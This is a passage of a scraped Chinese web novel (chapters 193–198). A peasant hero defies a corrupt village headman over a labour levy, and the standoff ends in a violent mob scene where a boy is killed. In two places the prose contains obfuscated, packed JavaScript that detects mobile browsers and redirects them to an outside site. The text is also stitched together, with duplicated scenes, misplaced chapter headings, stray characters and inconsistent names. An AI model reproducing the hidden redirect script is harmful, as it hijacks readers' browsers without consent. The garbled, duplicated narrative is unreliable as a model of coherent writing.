赖志成一瘸一拐地走到晒粮场中央,全然不顾自己身上的伤。 “都给老子竖起耳朵听好了!” 他猛地一拍大腿,声音尖锐得像要刺破人的耳膜: “镇上有令,要征徭役!一个村一百个乡勇,一个都别想跑!” “啥?村正,今年的差事不是已经完成了吗?” “就是啊,去年我家男人就没了,今年再来,这也太离谱了吧?” “村正,你倒是跟巡检老爷说说啊,咱村今年真没力气了……” 村民们七嘴八舌,乱哄哄一片。 搁在以前,谁敢这么跟赖志成说话? 可现在,时代变了。 苏阳来青龙村没多久,风气就变了样。 赖志成气得鼻子都歪了,心里跟猫抓似的。 “这帮刁民,反了天了!都是苏二那小兔崽子带的头!” 他恶狠狠地瞪着人群,恨不得把每个人的脸都记下来: “等老子腾出手,一个一个收拾你们这些不知好歹的东西!” “哼,问我?” 赖志成把眼一瞪,脖子一梗: “老子还想问问老天爷呢!你们要是有能耐,就自个儿去三溪镇,找巡检老爷问个明白!” 这话一出,像一盆冷水浇下来,村民们立马安静了。 跟赖志成耍耍嘴皮子还行,真要让他们去跟吕巡检叫板? 算了吧,没那个胆。 苏阳站在人群里,双手抱胸 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于是,他的那些个亲戚、平时围着他转的几个跟班,一个都没跑掉,全都被拉进了乡勇队伍。 “都回去收拾收拾,明日破晓启程!谁要是敢耽误,别怪老子不客气!” 赖志成撂下狠话,一瘸一拐地离开了。 …… 苏阳一进家门,就见林绮娘眼泪汪汪地站在那里,像只受了惊的小兔子。 “二哥……” 林绮娘哽咽着,话还没说完,眼泪就先掉了下来。 苏阳赶忙上前,把她轻轻搂进怀里,柔声安慰: “绮娘乖,不哭,我保证,必须平平安安地归来!” 钱晓柔和翠环两个丫鬟,站在一旁,看得目瞪口呆。 “这……大白天的,拉拉扯扯,像什么样子……” 钱晓柔嘴上嘟囔着,眼睛却瞪得老麻。 翠环更夸张,嘴巴张得能塞下一个鸡蛋。 两个丫鬟,哪里见过这场面。 平日里见到的男女,哪个不是规规矩矩,客客气气的? 像苏阳和林绮娘这样,还没成亲就搂搂抱抱的,简直闻所未闻! 钱晓柔红着脸,轻轻扯了扯翠环的袖子: “非礼勿视,非礼勿视… 第一百九十三章 …” 翠环回过神来,赶忙捂住眼睛,手指头却悄悄张开了一条缝。 钱晓柔嗔怪地瞪了她一眼,心里却也忍不住好奇,偷偷瞄了几眼。 …… 赖志成一声令下,整个青龙村都乱成了一锅粥。 哭声、喊声、叹气声,混成一片。 家家户户都在忙着收拾东西,准备送自家男人上路。 “当家的,你可一定要活着回来啊,我和娃还等着你呢……” 王婶一边抹着眼泪,一边往自家男人包袱里塞干粮。 “他爹,你到了那边,可千万别逞能,保命要紧啊……” 孔远山的娘,声音都哭哑了。 去年男人才没,她可不想再失去一个儿子。 “奶奶,你别哭了,我一定会小心的,等我回来,给你带好吃的……” 周阳一边安慰着奶奶,一边麻利地收拾着自己的东西。 苏阳手下那帮小子家里,更是愁苏惨雾。 原本日子刚有了起色,谁想到突然来了这么一出,简直是晴天霹雳。 孔远山家里,气氛格外紧张。 “儿啊,你咋就这么傻呢,跟着苏二有啥好的,这下可好,要去送**……” 孔远山的娘,哭得一把鼻涕一把泪,嘴里不停地念叨着。 “啪!” 老孙狠狠一巴掌拍在桌子上,把桌上的碗都震得跳了起来: “你个婆娘,瞎咧咧啥呢!没有阳哥儿,咱家能有今天?你还有脸说这种话!” 老孙气得浑身发抖,指着自家婆娘的鼻子骂: “当初阳哥儿带着咱家娃挣钱的时候,你怎么不说这话?现在遇到事了,你就想把咱家娃摘出去?你还是人吗?” 孔远山的娘被骂懵了,捂着脸,一句话也说不出来。 孔远山连忙拉住老孙的胳膊: “爹,你别生气了,娘也是一时糊涂。娘,你以后可别再说这种话了,阳哥儿对咱们家有恩,咱们不能忘恩负义。” 老孙看着儿子,叹了口气: “儿啊,爹知道你是个好孩子,可这回……这回可不是闹着玩的啊……” 孔远山拍了拍胸脯,一脸自信: “爹,你放心吧,我跟着阳哥儿,不会有事的!说不定,这还是一次立功的好机会呢!” 老孙看着儿子,眼中闪过一丝欣慰,又有一丝担忧。 他知道,自家儿子长大了,不再是以前那个胆小怕事的小屁孩了。 可这战场上的事情,谁又能说得准呢? …… 类似的情景,在苏阳手下其他几个小子家里,也接连上演。 这些原本被家人护在羽翼下的小子,突然间都像变了一个人似的,变得坚强、勇敢、有担当。 他们的父母,既感到欣慰,又感到担忧。 欣慰的是,咱家崽总算成熟了。 担忧的是,这战场无情,刀剑无眼,谁知道会发生什么事情呢? 但无论如何,他们都相信,自家孩子跟着苏阳,一定不会有错的。 因为苏阳,不仅给了他们希望,更给了他们勇气和力量。晨曦微露,苏阳已经起身。 厨房里,灶火未熄,映出一个娇小的身影。 两屉摞得高高的锅盔,还冒着热气,面香扑鼻。 苏阳的心头一热,像是被什么东西轻轻撞了一下。 “绮娘,”他尽量让声音听起来平缓,“你……一夜没睡?” “啊!” 林绮娘一个激灵,手里的擀面杖“哐当”一声掉在了地上。 她猛地转过身,像只受惊的小兔子,眼睛红得像熟透的果子: “二……二哥,你醒了……” 话没说完,眼泪就断了线似的往下掉。 “我……我……” 林绮娘死死咬着下唇,身子微微发抖,想说什么,却又说不出来,只剩下低低的抽泣声。 苏阳走过去,轻轻搂住她的肩膀。 他知道,这丫头心里害怕。 服徭役,九死一生,村里这样的传闻太多了。 “傻丫头,”苏阳叹了口气,“哭啥?我又不是不回来了。我答应过你,一定全须全尾地回来!” “苏二哥……” 林绮娘再也忍不住,一头扎进苏阳怀里,呜呜地哭了起来。 “大清早的,哭啥哭!” 王婶的声音突然响起,带着几分责备。 石头跟在王婶身后,探头探脑地往里看,一脸的茫然。 “今日苏二启程远行,你这一哭,多晦气!” 王婶说着,硬是把林绮娘从苏阳怀里拽了出来。 …… 那些锅盔,是王婶和林绮娘连夜赶出来的。 这是给苏阳准备的路上吃的干粮。 说起锅盔的做法,还是苏阳教给她们的。 其实,这东西早就有了,只不过在青龙村没人会做。 以前,村里人出去服徭役,都是 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赖志成伸长了脖子,眼睛瞪得像铜铃,可就是找不到苏阳的身影。 不仅苏阳没来,他手底下那帮小子,也一个都没出现! 赖志成心里一阵狂喜。 “好啊!好得很!” “苏二,你小子最好别来!” “到时候,老子就说你不听调遣,逃避徭役,看吕巡检怎么收拾你!” “还有你们这帮小兔崽子,平时跟老子作对,这次让你们全都去送死!” 赖志成在心里把苏阳和那帮小子骂了个狗血淋头。 突然,人群一阵骚动。 赖志成心里咯噔一下,有种不祥的预感。 只见人群分开一条路,苏阳带着他手下那帮小子,大摇大摆地走了过来。 一个个精神饱满,步履矫健,哪有半点要上战场的颓丧? 更让赖志成气炸肺的是,这帮小子还赶着一辆驴车! 车上,堆满了东西,吃的,用的,还有明晃晃的家伙事儿! 再看看其他人,一个个灰头土脸,背着破包袱,提着生锈的锄头、镰刀,简直就像一群要饭的。 第一百九十四章 两下一比,赖志成感觉自己脸上火辣辣的,像是被人狠狠抽了一巴掌。 “苏二,你们这是去服徭役,还是去郊游?” 赖志成强压着怒火,质问道。 “咋了?村正,服徭役还不让带东西了?” 孔木生抢着说道。 他现在可是苏阳的铁杆,说话也硬气了许多。 “就是,村正,你管天管地,还管拉屎放屁?” “咱们自己带吃的,又不用官府的,碍着你啥事了?” 其他小子也跟着起哄。 “你……你们……” 赖志成气得直哆嗦,却又无话可说。 以往服徭役,都是穷人去,谁家有闲钱置办这些? 可这次不一样了,苏阳这帮小子,个个都富得流油,谁还在乎官府那点施舍? “行,你们爱带啥带啥!” 赖志成咬牙切齿地说。 “不过,要是吕巡检怪罪下来,我事先说清楚了啊!” 他现在只想着赶紧把这帮瘟神送走,眼不见心不烦。 “放心吧,村正,吕巡检大**量,不会跟咱们一般见识的。” 苏阳笑眯眯地说。 他心里清楚得很,吕巡检巴不得自己这些人能打呢。 青虎岭的土匪,都跑到三溪镇**放火了,还留下血字挑衅。 这事儿,换谁当巡检,也得掂量掂量。 自己这些人,装备精良,一看就不好惹,吕巡检都乐开了花,哪会怪罪? “哼,但愿如此!” 赖志成冷哼一声,不再搭理苏阳。 “现在,开始分队!” 他扯着嗓子喊道。 “一百人,一都,我就是都头!” “五十人,一队,缺两个带头大哥。” “卓明远!梅阳!你们两个,过来!” 赖志成话音未落,人群中就炸了锅。 “不行!” “我们要苏二哥当队正!” 苏阳手下的小子们,一个个扯着嗓子大喊。 “对!我们只听苏二哥的!” “谁当我们的头儿,我们也不认!” “卓明远,梅阳,你们两个软蛋,有种就站出来,看我们不揍扁你们!” …… 几个年轻人的声音,格外响亮。 卓明远是赖志成的族弟。 梅阳是赖志成的狗腿子。 这俩人,平时没少跟着赖志成欺负人。 要搁以前,村里人敢怒不敢言。 可现在,即将被抓去做苦力,谁还怕他?“都头,咱这是要去哪儿?” 苏阳笑眯眯地问着赖志成,眼睛却像两把小钩子,紧紧地勾住对方的脸,不放过一丝一毫的表情变化。 他心里跟明镜似的,这次徭役,十有**跟青虎岭那帮杀千刀的土匪脱不了干系。 赖志成这只老狐狸,一肚子坏水,巴不得自己去送死,哪会这么轻易就透露内情? 果不其然,赖志成眼皮一翻,鼻子不是鼻子,脸不是脸地冷哼一声: “去了你就知道了,不该问的别问,哪来那么多废话!” 苏阳也不恼,把手往腰间那么一叉,大大咧咧地继续说道: “都头,话可不能这么说。这兵法上不是说了嘛,知己知彼,才能百战不殆。咱连去哪儿都不知道,稀里糊涂地就上了战场,万一碰上土匪,两眼一抹黑,这仗还怎么打?您说是不是这个理儿?” 赖志成被噎得直翻白眼,胡子一翘一翘的,像风中凌乱的茅草。 这小兔崽子,还懂兵法? **,老子怎么不知道! “少给老子扯这些没用的!到了地方,上面自会安排,用不着你瞎操心!” 赖志成没好气地怼了一句,语气生硬得像块石头。 “得嘞!” 苏阳也不再多问,嘿嘿一笑,转头对着身后的一帮小子扯着嗓子喊开了: “兄弟们,都头说了,到了地方上面有人安排!咱就踏踏实实跟着都头走,保证错不了!都头让咱往东,咱绝不往西,都头让咱打狗,咱绝不撵鸡!” 赖志成听了这话,鼻子差点没气歪了。 这小王八羔子,是故意曲解老子的意思吧? 绝对是! 这分明是在给自己挖坑! “现在,开始分队!” 赖志成强压下心头的怒火,扯着嗓子大声宣布,声音都有些变调了,像被踩了尾巴的猫。 他决定不再理会苏阳,直接开始分派人手。当务之急是把队伍整顿好,免得夜长梦多。 “一百人,一都,老子就是都头!” 他顿了顿,目光像刀子一样扫过众人,仿佛要把每一个人的心思都看穿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184911|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “五十人,一队,还需要两个队正!” “卓明远!梅阳!你们两个,给老子滚过来!” 他话音未落,人群中顿时像炸开了锅一样,嗡嗡声响成一片,像一群被捅了窝的马蜂。 “不行!” “我们不答应!” “我们要苏二哥当队正!” 苏阳手下的那帮小子,一个个梗着脖子,红着脸,扯着嗓子,声嘶力竭地嚷嚷着,像一群被抢了食的狼崽子。 “对!我们只听苏二哥的!” “除了苏二哥,谁当我们的头儿,我们也不认!” “卓明远,梅阳,你们两个软蛋、怂包!平时就知道跟着赖志成屁股后头摇尾巴,算什么东西!有种就站出来,看老子不揍扁你们!” …… 几个嗓门特别大的年轻人,声音格外尖锐刺耳,在人群中格外突出,震得人耳膜都嗡嗡直响。 卓明远,是赖志成的族弟,平时仗着赖志成的势力,没少在村里作威作福。 梅阳,则是赖志成平日里最得力的狗腿子,狐假虎威,狗仗人势。 这俩人,平时没少跟着赖志成在村里作威作福,横行霸道,欺男霸女。 搁以前,村里人是敢怒不敢言,只能忍气吞声,打碎了牙往肚子里咽。 可现在,马上就要去服徭役了,脑袋都是别在裤腰带上的,前途未卜,生死难料,谁还怕他个鸟? 大元朝的兵制,明明白白写着:五人为伍,设伍长。十人为伙,设伙长。五伙为队,五十人,设队正。 再往上,两队为都,一百人,设都头。五个都凑成一营,有五百人,长官叫营正。一营再往上,五营合成一军,足足两千五百人,统帅是大将军。十军为一厢,乖乖,两万五千人,上峰是主帅。 虽说乡勇不是正规军,可也不能乱糟糟的一团散沙,总得有个章法,有个统属。 所以,这乡勇的编制,也是按照正规军的规矩来的。 青龙村派出百名壮士,按规矩正好是一都。 赖志成担任村长,顺理成章地就是都头,这一点谁也没话说,也挑不出他的毛病来。 可他想让自己的亲信当队正,这算盘打得也太精了! 苏阳手下那帮小子能乐意才怪! 明眼人都看得出来,这次出征,赖志成这老小子一肚子坏水,肯定没安什么好心! 第一百九十五章 若是他的心腹上位,那还不由着他性子来?想怎么折腾大家就怎么折腾大家?到时候,大伙儿还有活路吗? 赖志成气得脸色铁青,像被人灌了一斤大粪,胸口剧烈起伏着,像个破风箱。 以往服徭役,哪一次不是自己一言九鼎,说一不二?谁敢说半个不字? 今儿个什么情况? 真是见了鬼了! 一个小队长都安排不好,往后这村正还怎么当?往后谁还把我当回事? 还怎么在村里立威? 苏二! 又是苏二这小王八蛋! 肯定是他! 除了他,没别人! 一定是他暗中捣的鬼! 赖志成恨得牙根痒痒,眼睛里almost冒出火来,像是要把苏阳给活活烧死。 他本来盘算着,来个“分而治之”,把苏阳和他手下那帮小子打散了,分到不同的队里。 这样一来,苏阳就成了光杆司令,收拾起来还不是易如反掌? 谁知道,这帮小兔崽子这么难缠,这么不听话,还没出村呢就闹出这么多幺蛾子!真是反了天了! 赖志成原本不想搭理苏阳手下那帮小子,想来个“以不变应万变”,强行把事情定下来。 可他眼珠子转了转,发现情况有些不妙。 苏阳手底下那帮小子,可不是什么善茬。 一个个眼睛通红,像是饿急了眼的狼,死死地盯着卓明远和梅阳。 那眼神,像是要把他俩给生吞活剥了,骨头渣子都不剩! 他毫不怀疑,只要苏二现在点个头,或者使个眼色,这帮小子立马就能像疯狗一样冲上去,把卓明远和梅阳给撕成碎片! 到时候,自己可就真成了孤家寡人了,哭都没地方哭去! “中,中,中!你们说咋办就咋办,让……让苏二挑大梁!” 赖志成额头上冒出了豆大的汗珠,心里头像是十五个吊桶打水——七上八下。 思来想去,权衡利弊,他还是觉得现在不是和苏阳彻底撕破脸的时候。 胳膊拧不过大腿,好汉不吃眼前亏。 硬的不行,只能来软的,先稳住这帮小兔崽子再说。 沉不住气必坏大事,君子报仇十年不晚。 到了杀戮之地,有的是机会收拾这小王八蛋! 在吕巡检眼皮子底下,他还能翻了天不成? 到时候,随便给他安个罪名,就能让他去送死! 让他死都不知道**的! 苏阳一句话没说,只是静静地站在那里,双手抱在胸前,嘴角微微上扬,露出一丝若有若无的笑容,像一只狡猾的狐狸。 就这样,他兵不血刃,轻而易举地当上了队正,手下带着五十条好汉,威风凛凛。 苏阳手底下最多的时候有二十二个小子,个个都是精挑细选的。 后来,和四那小子不听话,犯了错,被他给开了。 二小子和褚勇上次受了伤,身子还没好利索,这次来不了。 这么一算,这回能随行的仅剩十九人。 加上苏阳自己,满打满算也就二十个人。 赖志成既然打定主意要弄死苏阳,干脆一不做二不休,来了个“借刀**”。 把平时看着不顺眼的,跟苏阳走得近的,平时跟自己不对付的,一股脑全都划到了苏阳手下。 他心里冷笑着: “小兔崽子们,先让你们得意几天,迟早让你们后悔!到时候,看老子怎么收拾你们!” 苏阳也不客气,当场就指着陈木生和路旭东: “你们两个,当伙长!” 又指了指毕明志和孔远山, “你们两个,当伍长!” “记住,都给我把手底下的人管好了,谁要是敢掉链子,别怪老子翻脸不认人!” 他没把自己的手下打散,而是把他们紧紧地团结在一起。 这是兵贵神速的道理,关键时刻能发挥更大的作用。 剩下的三伙,苏阳任命了几个年纪比较大、平时在村里比较有威望、又和自己关系比较近的人当伙长和伍长。 这样做,既能服众,又能保证队伍的凝聚力。 他目光如炬,扫视了一圈众人,朗声道: “就这么定了,谁有意见?” 底下鸦雀无声,落针可闻。 等了半晌,两个队正总算是都安排妥当了。 赖志成这才清了清嗓子,刚想说几句场面话,鼓舞鼓舞士气,然后带着大家出发。 谁知,他刚一挥手,嘴巴刚张开,吐出一个字: “大……” “村正,您先等等,我有几句话想跟大家伙儿说说。” 话音未落,苏阳一个箭步冲了上去,打断了赖志成。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏阳这话说得斩钉截铁,掷地有声。 “说得好!” “苏二哥,我们跟你走!” “苏二哥,我们信你!” …… 苏阳话音未落,下面顿时响起了一阵欢呼声和叫好声。 震耳欲聋,响彻苏霄。 当然,这都是他手下那帮小子在声嘶力竭地叫唤,卖力地给他捧场。 至于其他人嘛…… 哼哼,那就不好说了。 很多人看着苏阳,眼神复杂,将信将疑。 苏二这小子虽然平时挺讲义气,可他毕竟太年轻了,又得罪了村正。 第一百九十六章 跟着他,真的能行吗? 不少人心里都打起了鼓,七上八下的,很是忐忑。 特别是那些被分到苏阳手下的人,心里更是像压了一块大石头,沉甸甸的。 苏二这小子公然和村正叫板,这不是茅坑里打灯笼——找死(屎)吗? 村正能饶得了他? 明摆着是要倒霉。 自己跟着他,不会也跟着遭殃吧? 这往后的日子,可怎么过啊? 真是愁死人了! “二队的,都给我站好了!谁要是家里还没吃饱饭的,或者觉得路上可能会饿肚子的,现在就可以去驴车上拿干粮,先垫吧垫吧!别到时候上了战场,饿得手脚发软,连刀都拿不稳,那就丢人丢大发了!” 苏阳突然又喊了一嗓子。 大家今天早饭都吃得饱饱的,谁也没落下,生怕饿着肚子上战场。 所以,自然没人去拿干粮。 不过,苏阳这一手,却让众人心里都暖洋洋的,像是三伏天喝了冰镇酸梅汤,舒坦极了。 看来苏二不只照顾自己的兄弟,待我们这些临时小弟很给力! 是个敞亮人! 是个值得托付性命的好汉! 然而,大伙儿高兴太早,后面还有更劲爆的。 只见苏阳从怀里掏出一张纸,抖了抖,大声念道: “为了让兄弟们安心,安安心心地保家卫国,我苏阳决定,凡是二队的兄弟,每家都可以凭着这张借据,从我这里借两斗粮食!等咱们打了胜仗,凯旋归来,再慢慢还也不迟!” “哗……” 人群一下子沸腾了! “苏二哥仗义!” “苏二哥真是活菩萨啊!” “苏二哥,您就是我们的再生父母啊!” …… 这一次,人群欢呼震天动地,更热烈了,更持久了。 几乎所有人都扯着嗓子在嚎,在喊,在叫,一个个激动得面红耳赤,唾沫阳子乱飞,恨不得把房顶都给掀翻了。 这次可不光是苏阳手下那帮小子在卖力吆喝了。 就连第二队的其他乡勇,也都跟着兴奋地嗷嗷直叫,感激涕零。 这可真是及时雨啊! 有了这两斗粮食,家里的婆娘娃娃就能熬过这个冬天了! 这可是救命的粮食啊! 不少人家里本来就已经快要揭不开锅了,吃了上顿没下顿,眼瞅着就要断粮了。 现在,苏阳愿意借给他们粮食,这简直就是雪中送炭,救苦救难的活菩萨! 别看只有两斗,对那些揭不开锅的家庭而言,这简直就是及时雨! 能让他们熬过最艰难的日子,能让他们看到春天的希望! 有了这两斗粮食垫底,他们也能安心上战场,不用担心家里的婆娘娃娃会饿死了! 这一下,第一队的人可就坐不住了。 一个个眼睛都红了,像得了红眼病似的。 有羡慕的。 有嫉妒的。 还有后悔的,肠子都悔青了。 更多的是盯着赖志成的,那眼神,幽怨得像个深闺怨妇,又像是要把赖志成给活活吞了一样。 先前,有人还在窃喜,幸亏没被赖志成给弄到苏阳手下。 跟着村正,总比跟着苏二那愣头青强吧? 至少不用担心被当成炮灰,小命能保住。 可现在,他们不这么想了。 跟着村长有靠山,总算保住自己,家人却可能要饿死! 这他娘的算哪门子事? 这日子还有个盼头吗? 这一刻,不少人心里都憋着一股火,像是火山一样,随时都有可能爆发出来。 他们恨不得把赖志成“粮食?你们也想要粮食?” 苏阳故作惊讶地瞪大了眼睛,目光扫过第一队那些眼巴巴望着自己的村民。他挠了挠头,脸上露出为难的神色,吞吞吐吐地说: “这个嘛……不是,不是我说你们啊……” 他故意顿了顿,用余光瞥了一眼赖志成的反应,才继续说道: “你们的老大是村长大人,我要是直接越过他给你们发粮食,这,这不合适吧?传出去,村正老爷的面子往哪儿搁啊?” 赖志成一听这话,差点没气得跳起来。他刚张了张嘴,想说些什么,却被苏阳直接打断了。 “村正大人,我知道您心里是怎么想的。” 苏阳抢先一步开口,语气诚恳,脸上却带着一丝狡黠。 “这样吧,您要 ????????????觉得拉不下这个脸,干脆就把那些您看不顺眼的人,统统都分到我这一队来。我这人,您是知道的,一向好说话,来者不拒!我保证,带着他们吃饱穿暖,绝对饿不着他们!您看,这主意,中不中?” 苏阳一边说着,一边观察着赖志成的神色。他看到赖志成脸色铁青,嘴角微微抽搐,心里暗自得意。 “好你个……大头鬼!” 赖志成咬牙切齿地低声嘟囔了一句,差点没忍住一口老血喷出来。 他万万没想到,苏阳竟然会来这么一招! 这是要干什么? 想架空我? 把人都分给他? 都分给他,那我成什么了? 光杆司令吗? 到时候,整个青龙村,还有谁会听我的? 赖志成越想越气,额头上的青筋都爆了起来。 可摆在他面前的,是一个两难的境地。 那些“刺头”分给苏阳,他赖志成乐得清闲。可那些没分的呢?这些人,也眼巴巴地等着粮食活命呢! 借,还是不借? 这是个问题。 若是不借,他赖志成平日里“爱民如子”的形象,可就全毁了。 以后谁还听他的? 谁还服他? 人心散了,队伍也就没法带了。 可要是借…… 赖志成心里头那个憋屈啊,简直比吞了苍蝇还难受。 平日里,他也不是没放过粮。 可哪一回,他不得把利息算得足足的? 借九还十三,这是青龙村的老规矩。 到了秋收,还不上粮,就拿地来抵。 村里那些肥沃的良田,不少都是这么到了他韩家的手里。 没有好地? 那可就对不住了,您哪儿凉快哪儿歇着去吧。 韩家祖祖辈辈,披星戴月,不就是为了多置办几亩地,多积攒些家业? 可眼下这些泥腿子,家里头还剩几亩好地? 稍微像点样的,早八百年就被他赖志成给弄到手了! 那些个薄田,产的那点粮食,连交租子都不够,他要来干嘛使? 赖志成这边正纠结着,他那一队的乡勇们,脸色是一个比一个难看。 可出征在即,谁也不敢在这个节骨眼上触霉头,只能把怨气憋在心里,指望着赖志成能良心发现。 指望他? 苏阳手下那帮小子可不答应。 “村正大人,您倒是发句话啊!兄弟们的死活,您还管不管了?” 人群中,一个年轻的声音高声喊道,打破了这令人窒息的沉默。 “就是!再这么下去,俺们都得饿死!” 另一个声音紧跟着附和道。 第一百九十七章 “村正大人,您平日里不是最疼咱们的吗?怎么到了这会儿,连句话都不说了?” 人群中,又有人开始阴阳怪气地挤兑赖志成。 赖志成被逼到了墙角,脸色一阵红一阵白。 他张了张嘴,想说些什么,可话到了嘴边,却又咽了回去。 “我看,干脆让阳哥儿来当这个都头算了!” 终于,有人喊出了这句话。 这句话,就像是一颗火星,落进了干柴堆里,瞬间点燃了所有人心中的希望。 “对!让阳哥儿当都头!” “阳哥儿,俺们都听你的!” “阳哥儿,只要你一句话,让俺们干啥都中!” …… 呼喊声此起彼伏,一声高过一声。 苏阳手下的那些小子们,更是像打了鸡血一样,一个个兴奋得满脸通红。 他们早就看赖志成不顺眼了,这回,总算逮着机会,能好好出口恶气了。 “不光是都头!” 人群中,又有人扯着嗓子喊道: “干脆让阳哥儿当村正得了!” “对!赶走姓赖的家伙!” “阳哥儿当村正,带着咱们过好日子!” …… 这几句话,彻底点燃了所有人心中的火焰。 谁不想过好日子? 谁不想吃饱穿暖? 谁不想平平安安地从战场上回来,和家里的婆娘孩子团聚? 以前,他们不敢反抗,是因为没有希望,没有盼头。 可现在,苏阳出现了。 他就像是一盏明灯,照亮了青龙村这片贫瘠的土地。 看看那些跟着苏阳的小子们,他们家里现在过的是什么日子? 顿顿有干的,逢年过节还能吃上肉! 这在以前,是连做梦都不敢想的事情! 一时间,群情激奋,所有人都把矛头指向了赖志成。 “姓赖的,你让不让位?” “不让位,俺们就打到你让位!” “打倒赖志成!” …… 人群中,不知道是谁先动的手。 紧接着,石头、土块、棍棒…… 铺天盖地地朝赖志成砸了过去。 可怜的卓村正,还没来得及反应过来,就被淹没在了愤怒的人群中。 “哎呦……别打了……别打了……” 赖志成抱着头,在地上来回翻滚,嘴里发出杀猪般的惨叫。 混乱中,不知是谁的锄头脱手飞出,在空中划过一道弧线。 “咣当!” 一声闷响。 锄头不偏不倚,正好砸在了赖志成的后脑勺上。 赖志成惨叫一声,两眼一翻,身子一挺,便昏死了过去。 眼看着赖志成倒了下去,人群反而更加疯狂了。 那些平日里受过韩家欺压的,家里有人被活活饿死的村民,更是像疯了一样,冲上去拳打脚踢,发泄着心中的怒火。 “打死他!” “为俺爹报仇!” “为俺娘报仇!” “打死这个狗日的!” …… 场面,彻底失控。“打死他!” “为俺爹报仇!” “打死这个狗日的!” 混乱中,石头土块已经砸不痛这些红了眼的村民。 “上土台!” 不知是谁吼了一嗓子,村民们疯了一样涌上去。 一个个瞪着血红的眼珠,嗷嗷叫着,挥舞拳头、棍棒,劈头盖脸朝赖志成招呼。 场面彻底失控。 苏阳也在土台上。 他下意识往后退了退,和赖志成拉开距离。 眉头微皱,苏阳心里闪过一丝不安。 这么多人围殴,真出事了怎么办? 但眼下这情况,他也不好强行阻止。 赖志成这次是真把大伙儿惹毛了。 苏阳余光扫过那些激动村民,无奈叹了口气。 自己总不能见死不救吧? 要真看着赖志成被打死,麻烦可就大了。 他正思忖着,就见赖志成的老婆带着小姨子,也跌跌撞撞地往土台上爬。 “别打了,别打了,你们这帮刁民,想干什么?” 赖志成老婆护夫心切,想冲上去阻拦。 无奈身宽体胖,爬了半天没爬上去。 还是她小姨子王婉苏,在她屁股后面狠狠推了一把,才勉强送她上垒。 韩家那几个狗腿子,见状也想跟着上。 可一个个贼眉鼠眼,脚下虚浮,只敢在外围瞎嚷嚷,没一个敢真往上凑的。 “住手,都住手!再不住手,老子报官了啊!” “你们这帮泥腿子,造反啊!” 狗腿子们声嘶力竭地叫喊。 可这声音,在愤怒的人群中,显得苍白无力。 混乱中,赖志成的堂弟卓明远,眼神闪烁。 他嘴角微微上扬,露出一丝难以察觉的窃喜。 “哼,赖志成,你也有今天!” 卓明远心里冷笑。 平时吃香喝辣,现在遭报应了吧! 他眼睛滴溜溜转,盘算着自己的小九九。 万一赖志成嗝屁了…… 这村正的位置,是不是该轮到自己了? 韩家祖传的村正,赖志成一死,自己作为堂弟,顺理成章就能上位。 就算当不上村正,韩家的家产也跑不了! 到时候,良田豪宅…… 嘿嘿,还有赖志成家那个母…… 呃,那个还是算了。 不过,他家小姨子嘛…… 卓明远眼神一亮,心里开始活泛起来。 那小模样,想想就让人心痒痒。 听说她克夫? 哼,找个道士破一破不就完了? 想到得意处,卓明远更不着急救人了。 他甚至还往后退了两步,生怕被溅一身血。 除了卓明远,赖志成那小崽子卓小四也到了。 小家伙个头不高,力气也小,挤不进人群。 他眼珠一转,捡起一块尖石头,猫着腰绕到人群后面。 瞅准那些正殴打他爹的村民,照着后脖颈子,狠狠戳了下去! 一下,两下…… 别看他年纪小,下手是真黑。 “哎呦……” “疼死我了!” “救命啊!” 一个村民惨叫一声,捂着脖子倒在地上。 鲜血,跟不要钱似的往外冒。 “出啥事了?” “怎么了?” 周围的人群一阵骚动。 大伙儿回头一看,一个村民倒在血泊里,脖子上一个血窟窿,正汩汩冒血。 再一打听,凶手竟是赖志成的小儿子! “小兔崽子,老子弄死你!” “打死这个小畜生!” 几个和受伤村民沾亲带故的,顿时就炸了。 他们眼睛血红,嗷嗷叫着,不顾一切地扑向卓小四。 受伤村民的亲兄弟,一个二十出头的小伙子,名叫周麻勇。他亲眼看到哥哥倒在血泊里,瞬间失去理智,像头发狂的野兽。 周麻勇不管不顾,冲上前去,对准卓小四就是一顿拳打脚踢。 “让你逞凶!让你害人!” 周麻勇一边怒吼,一边挥舞着拳头。 卓小四被打得在地上翻滚,惨叫声都变了调。 赖志成的老婆见儿子被打,心疼得像刀割一样,她完全忘记了眼前的危险,疯了似的扑向周麻勇。 周麻勇正在气头上,哪里还顾得上其他?他一把推开赖志成老婆,继续踢打卓小四。 第一百九十八章 可就在这时,意想不到的事情发生了。 旁边一个村民,不小心被赖志成老婆撞到,身体失去平衡,一头栽倒。 好巧不巧,他手里还握着一把锄头。 锄头脱手飞出,在空中划过一道弧线,不偏不倚,正中卓小四的脑袋。 “咣当!” 一声闷响。 卓小四的惨叫声戛然而止。 他躺在地上一动不动,鲜血从脑袋下面蔓延开来。 这突如其来的变故,让所有人都愣住了。 “杀……杀人了!” 不知是谁喊了一嗓子,打破了死一般的寂静。 人群瞬间炸开了锅。 “这……这可咋办啊?” “出人命了!” “快跑啊!” 村民们惊慌失措,四处逃散。 场面,瞬间乱成了一锅粥。 “都特么给我站住!” 就在这时,苏阳一声怒吼,如平地惊雷。 “虎子,石头,你们几个,把人都给我拦住,谁也不准走!” 苏阳手下那些个后生,听到老麻发话,立刻行动起来。 他们一个个膀大腰圆,力气十足。 冲进人群,把那些想要逃跑的村民给拦了下来。 苏阳分开人群,走到受伤村民跟前,蹲下身子查看。 “石头,急救包。” 陈木生连忙递上一个布包。 苏阳昨晚就做了准备,把棉布剪成布条,在开水里煮过,还准备了草木灰。 他快速检查伤口。 万幸,这村民的伤口在脖子后面,避开了大血管。 苏阳先用凉开水冲洗伤口,再敷上草木灰。 血很快止住。 他又用布条把伤口包扎好。 “行了,送回去修养吧,死不了。记住,伤口别沾水。” 苏阳站起身,对几个村民说道。 他语气平静,仿佛刚才那惊心动魄的一幕,根本没有发生过。 “阳哥儿,你……你真是神了!” “是啊,阳哥儿,多亏了你!” 